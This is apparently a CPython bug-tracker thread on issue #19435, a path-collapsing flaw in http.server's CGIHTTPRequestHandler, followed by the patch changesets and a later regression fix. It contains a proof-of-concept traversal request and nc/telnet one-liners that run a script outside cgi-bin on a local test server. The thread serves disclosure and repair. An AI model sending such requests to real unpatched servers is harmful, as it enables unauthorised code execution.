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An error in separating the path and filename of the CGI script to run in http.server.CGIHTTPRequestHandler allows running arbitrary executables in the directory under which the server was started.
The problem is that in CGIHTTPRequestHandler we have:
 def run_cgi(self): 
 """Execute a CGI script.""" 
 path = self.path 
 dir, rest = self.cgi_info 
 
 i = path.find('/', len(dir) + 1) 
where path is the uncollapsed path in the URL, but cgi_info contains the first path segment and the rest from the *collapsed* path as filled in by is_cgi(), so indexing into path via len(dir) is incorrect.
An example exploit is giving the request path:
///////////badscript.sh/../cgi-bin/cgi.sh
Note that Firefox and wget at least simplify the path in the request; to make sure this exact path is used, do for example:
 (echo "GET ///////////badscript.sh/../cgi-bin/cgi.sh HTTP/1.1"; echo) | telnet localhost 4443
This causes the CGIHTTPRequestHandler to execute the badscript.sh file in the directory in which the server was started, so script execution is not restricted to the cgi-bin/ or htbin/ subdirectories.

I can confirm the issue:
$ mkdir www
$ cd www
$ cat << EOF > badscript.sh
#!/bin/sh
echo hacked
EOF
$ chmod +x badscript.sh
$ ../python -m http.server --cgi
$ echo "GET ///////////badscript.sh/../cgi-bin/cgi.sh HTTP/1.1" | nc localhost 8000
HTTP/1.0 200 Script output follows
Server: SimpleHTTP/0.6 Python/3.4.0a4+
Date: 2013年10月29日 16:47:22 GMT
hacked

Patch

New changeset e4fe8fcaef0d by Benjamin Peterson in branch '2.7':
use the collapsed path in the run_cgi method (closes #19435)
http://hg.python.org/cpython/rev/e4fe8fcaef0d
New changeset b1ddcb220a7f by Benjamin Peterson in branch '3.1':
use the collapsed path in the run_cgi method (closes #19435)
http://hg.python.org/cpython/rev/b1ddcb220a7f
New changeset dda1a32748e0 by Benjamin Peterson in branch '3.2':
merge 3.1 (#19435)
http://hg.python.org/cpython/rev/dda1a32748e0
New changeset 544b654d000c by Benjamin Peterson in branch '3.3':
merge 3.2 (#19435)
http://hg.python.org/cpython/rev/544b654d000c
New changeset 493a99acaf00 by Benjamin Peterson in branch 'default':
merge 3.3 (#19435)
http://hg.python.org/cpython/rev/493a99acaf00 

New changeset d367ea865ea4 by Ned Deily in branch '2.7':
Issue #21323: Fix CGIHTTPServer to again handle scripts in CGI subdirectories,
http://hg.python.org/cpython/rev/d367ea865ea4
New changeset 4de94641ba3e by Ned Deily in branch '3.2':
Issue #21323: Fix http.server to again handle scripts in CGI subdirectories,
http://hg.python.org/cpython/rev/4de94641ba3e
New changeset b957f475e41e by Ned Deily in branch '3.3':
Issue #21323: Fix http.server to again handle scripts in CGI subdirectories,
http://hg.python.org/cpython/rev/b957f475e41e
New changeset 385f4406dc26 by Ned Deily in branch '3.4':
Issue #21323: Fix http.server to again handle scripts in CGI subdirectories,
http://hg.python.org/cpython/rev/385f4406dc26
New changeset 22e5a85ba840 by Ned Deily in branch 'default':
Issue #21323: Fix http.server to again handle scripts in CGI subdirectories,
http://hg.python.org/cpython/rev/22e5a85ba840 

See Issue21323 for details of a problem introduced by the original fixes for this problem and now fixed (except for 3.1 which is now end-of-life).